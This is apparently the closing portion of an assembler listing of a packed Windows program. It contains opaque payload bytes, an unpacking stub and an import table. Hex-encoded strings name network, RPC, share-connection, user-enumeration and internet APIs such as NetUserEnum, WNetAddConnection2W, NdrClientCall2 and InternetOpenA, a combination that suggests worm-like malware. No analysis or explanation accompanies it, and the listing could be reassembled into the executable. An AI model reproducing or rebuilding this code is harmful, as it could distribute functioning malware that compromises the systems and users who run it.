dd 2212E608h, 90F2A07h, 0B0B1524h, 0E240A11h, 0FC2FB768h
dd 36151731h, 171A2A05h, 730E1421h, 0C2051409h, 556FB76h
dd 2CCE1FBAh, 0C08C360h, 2FF21B0Dh, 14FFF6FCh, 72A1411h
dd 1C0E1626h, 6943830h, 142D0731h, 1222078Bh, 97FFFFFFh
dd 1E29090Bh, 285B1717h, 11161310h, 3D23295Dh, 440B1D09h
dd 21254334h, 17193835h, 8C685FDAh, 2B265D2Ah, 0A906111Eh
dd 0BF0516B6h, 15E170BDh, 6165205h, 85199427h, 371C4405h
dd 5F142494h, 196FB7F8h, 1A5D0809h, 480E19C5h, 184D0826h
dd 100F1C34h, 0F6FE370Fh, 18216E0Bh, 0E3190D70h, 6340B08h
dd 709200Eh, 1BFE1728h, 281117DBh, 17330212h, 6060D88h
dd 60E01A38h, 51B6DB18h, 61223F8h, 54E2202Bh, 1410ED10h
dd 0DDAD6D1Ah, 73B4EF8h, 19C4231Ah, 2981335h, 5BB5AD80h
dd 169FC6A3h, 6B451D0Ch, 0FB7DBB1Fh, 323305B7h, 0D0B0723h
dd 10174B16h, 0E054A311h, 58240E1Bh, 87E5EEBh, 0B991609h
dd 2D05090Dh, 6D120D11h, 12EDEE6Bh, 71CA498h, 1B051340h
dd 0BF85602Dh, 130EE37Dh, 2107540Ah, 1F890510h, 2061150Dh
dd 0D8D82A26h, 2613D2FEh, 61F0911h, 0A093F17h, 170FD811h
dd 9CDFFDBEh, 4616311Ah, 16370E28h, 0D361267h, 190A1718h
dd 6DAD1214h, 1C264ADCh, 0C971A13h, 3BB7DAFEh, 19E56DBEh
dd 491A3C1Ah, 0F38960Ah, 1E0C551Fh, 6A5FD2FFh, 10298002h
dd 574F053Bh, 3C0A5365h, 62D2306h, 0BBA5C6C6h, 223BE86Eh
dd 6605172Fh, 0E50E1D59h, 0BF0A342h, 37901B0Ch, 0BF070A9Bh
dd 18FFC6F4h, 2F5B1629h, 28085A13h, 0F041AE1Ah, 3C39C75Ah
dd 5B0C3C0Eh, 948D6B63h, 12CD9514h, 0D0130287h, 32DBFDBDh
dd 2C3FBF11h, 260E1305h, 171315A6h, 0DB1C000Eh, 92ADEDBBh
dd 2A9F06DCh, 3AB42FCBh, 18211206h, 2FFDA10Eh, 3145116Dh
dd 11281611h, 1124320Dh, 0BC2BF617h, 0EB5B0AE4h, 0EFFF2D19h
dd 0DE1E1412h, 872E35B0h, 7FE6170Ch, 2922ED1Ah, 0E1768833h
dd 0DF7ED1B7h, 431E0209h, 3E211020h, 0F6FFFFFFh, 7103C1Eh
dd 0B01D0F11h, 0F00174F0h, 50F008B2h, 0F04B0E03h, 0F0DD01D9h
dd 0FF4909D2h, 1FEBBFA6h, 167F7A4Ch, 1064796Eh, 4BF03459h
dd 232052D8h, 0DE3D7A14h, 0F0FFFEB6h, 0F03104A7h, 0D6F00957h
dd 24BF005h, 3289D0F0h, 405D43Ah, 0C827FF8Dh, 72F0E300h
dd 3FF01A01h, 0CE523A02h, 4D68D7F7h, 9305855Bh, 36BA31Ch
dd 46DB1B0Bh, 2219A2Bh, 61205824h, 0EDFF4036h, 0C1FBA5Bh
dd 880A1E0Ah, 7154D32h, 0BF47473Ch, 4556FEE4h, 115A2149h
dd 0E300196Ch, 9361724h, 8DF1BF2Fh, 0AA123E0Bh, 727F090Dh
dd 1E68EF1Eh, 6F0B8033h, 8BFE37FDh, 0A4192210h, 12EC3007h
dd 102F00Dh, 0EA3B2229h, 3719124Dh, 0CFCB85Eh, 7D573F1Fh
dd 347B2C23h, 0F62B2211h, 0C285071Ah, 975E8DADh, 1B649E15h
dd 0ADF59D1Dh, 0CF007A55h, 461915D3h, 0ADFD0913h, 238EB742h
dd 49204F08h, 26272A22h, 0F6FE2723h, 1800ADC8h, 2B0C5815h
dd 0F013342Ch, 0F0550869h, 2DE25F6Fh, 8BF0D1ABh, 0EFF0C5B5h
dd 3651002h, 0F636C641h, 1D1A69C2h, 600F9h, 0BA3902E0h
dd 8DAF6E15h, 61608B1h, 7EC3150Ah, 6F2D2B20h, 500D65Ch
dd 41CF7F0h, 4A886CA8h, 0F2143F08h, 0C0F07B0Ah, 2101B05h
dd 0DD51019Fh, 5018030Ch, 91F10003h, 48E4991Fh, 780E3EAFh
dd 28000001h, 0E47247CCh, 900171CCh, 5A000401h, 4766F510h
dd 1E1401D0h, 1957F90Ah, 1736450h, 0E4014000h, 0B0FE42AFh
dd 0F980001h, 28000010h, 0E4720004h, 177FAA9h, 60EC0178h
dd 2860D440h, 0B5FB12FCh, 2B17D85Ch, 0C040B07Ch, 10183BDDh
dd 0B3130A00h, 0DADB1427h, 428C3494h, 6BCC1329h, 0B7442800h
dd 0C11BCE09h, 85h, 0
dd 0FF24h, 3 dup(0)
dd 8247C80h, 0C2850F01h, 60000001h, 9B2000BEh, 0BE8D00h
dd 57FFFEF0h, 0EBFFCD83h, 9090900Dh, 8846068Ah, 0DB014707h
dd 1E8B0775h, 11FCEE83h, 0B8ED72DBh, 1, 775DB01h, 0EE831E8Bh
dd 11DB11FCh, 73DB01C0h, 8B0975EFh, 0FCEE831Eh, 0E473DB11h
dd 0E883C931h, 0C10D7203h, 68A08E0h, 0FFF08346h, 0C5897474h
dd 775DB01h, 0EE831E8Bh, 11DB11FCh, 75DB01C9h, 831E8B07h
dd 0DB11FCEEh, 2075C911h, 75DB0141h, 831E8B07h, 0DB11FCEEh
dd 0DB01C911h, 975EF73h, 0EE831E8Bh, 73DB11FCh, 2C183E4h
dd 0F300FD81h, 0D183FFFFh, 2F148D01h, 76FCFD83h, 42028A0Fh
dd 49470788h, 63E9F775h, 90FFFFFFh, 0C283028Bh, 83078904h
dd 0E98304C7h, 1F17704h, 0FF4CE9CFh, 895EFFFFh, 486B9F7h
dd 78A0000h, 3CE82C47h, 80F77701h, 0F2750B3Fh, 5F8A078Bh
dd 0E8C16604h, 10C0C108h, 0F829C486h, 1E8EB80h, 830789F0h
dd 0D88805C7h, 0BE8DD9E2h, 1C000h, 0C009078Bh, 5F8B4574h
dd 30848D04h, 1F000h, 8350F301h, 96FF08C7h, 1F140h, 47078A95h
dd 0DC74C008h, 779F989h, 4707B70Fh, 57B94750h, 55AEF248h
dd 0F14496FFh, 0C0090001h, 3890774h, 0EB04C383h, 0C03161D8h
dd 83000CC2h, 5E8D04C7h, 8AC031FCh, 0C0094707h, 0EF3C2274h
dd 0C3011177h, 0C486038Bh, 8610C0C1h, 89F001C4h, 24E2EB03h
dd 10E0C10Fh, 83078B66h, 0E2EB02C7h, 0F148AE8Bh, 0BE8D0001h
dd 0FFFFF000h, 1000BBh, 6A545000h, 0FF575304h, 2F878DD5h
dd 80000002h, 60807F20h, 50587F28h, 57535054h, 6158D5FFh
dd 8024448Dh, 0C439006Ah, 0EC83FA75h, 790AE980h, 0FFFFh
dd 1D2h dup(0)
dd 201C8h, 20140h, 3 dup(0)
dd 201D5h, 20158h, 3 dup(0)
dd 201E2h, 20160h, 3 dup(0)
dd 201EAh, 20168h, 3 dup(0)
dd 201F5h, 20170h, 3 dup(0)
dd 20202h, 20178h, 3 dup(0)
dd 2020Ch, 20180h, 3 dup(0)
dd 20219h, 20188h, 3 dup(0)
dd 20224h, 20190h, 3 dup(0)
dd 20230h, 20198h, 3 dup(0)
dd 2023Ch, 201A0h, 3 dup(0)
dd 20247h, 201A8h, 3 dup(0)
dd 20252h, 201B0h, 3 dup(0)
dd 2025Eh, 201B8h, 3 dup(0)
dd 2026Ah, 201C0h, 5 dup(0)
dd 7C801D77h, 7C80ADA0h, 7C801AD0h, 7C809A51h, 7C809AE4h
dd 0
dd 77DD7A80h, 0
dd 71B2578Ch, 0
dd 77C36BD0h, 0
dd 5B894541h, 0
dd 774FEE36h, 0
dd 77124C05h, 0
dd 77EF34D0h, 0
dd 7C9EC6A0h, 0
dd 77F67E3Ch, 0
dd 78161DFDh, 0
dd 7E423DCEh, 0
dd 77C018BAh, 0
dd 7806C865h, 0
dd 71AB3B91h, 0
dd 4E52454Bh, 32334C45h, 4C4C442Eh, 56444100h, 33495041h
dd 6C642E32h, 504D006Ch, 6C642E52h, 534D006Ch, 54524356h
dd 6C6C642Eh, 54454E00h, 33495041h, 6C642E32h, 6C6F006Ch
dd 2E323365h, 6C6C64h, 41454C4Fh, 32335455h, 6C6C642Eh
dd 43505200h, 2E345452h, 6C6C64h, 4C454853h, 2E32334Ch
dd 6C6C64h, 574C4853h, 2E495041h, 6C6C64h, 6D6C7275h, 642E6E6Fh
dd 55006C6Ch, 33524553h, 6C642E32h, 4556006Ch, 4F495352h
dd 6C642E4Eh, 4957006Ch, 454E494Eh, 6C642E54h, 5357006Ch
dd 32335F32h, 6C6C642Eh, 6F4C0000h, 694C6461h, 72617262h
dd 4179h, 50746547h, 41636F72h, 65726464h, 7373h, 74726956h
dd 506C6175h, 65746F72h, 7463h, 74726956h, 416C6175h, 636F6C6Ch
dd 69560000h, 61757472h, 6572466Ch, 65h, 65657246h, 646953h
dd 4E570000h, 64417465h, 6E6F4364h, 7463656Eh, 326E6F69h
dd 57h, 736261h, 654E0000h, 65735574h, 756E4572h, 6Dh
dd 6E556F43h, 74696E69h, 696C6169h, 657Ah, 4372644Eh, 6E65696Ch
dd 6C614374h, 326Ch, 53727453h, 57497274h, 624F0000h, 6E696174h
dd 72657355h, 6E656741h, 72745374h, 676E69h, 65470000h
dd 676C4474h, 6D657449h, 65560000h, 65755172h, 61567972h
dd 4165756Ch, 6E490000h, 6E726574h, 704F7465h, 416E65h
dd 1F000h, 0Ch, 36FDh, 325h dup(0)
dd 3F7C0A93h
db 0
db 3 dup(?)
dd 508h dup(?)
_text ends
end start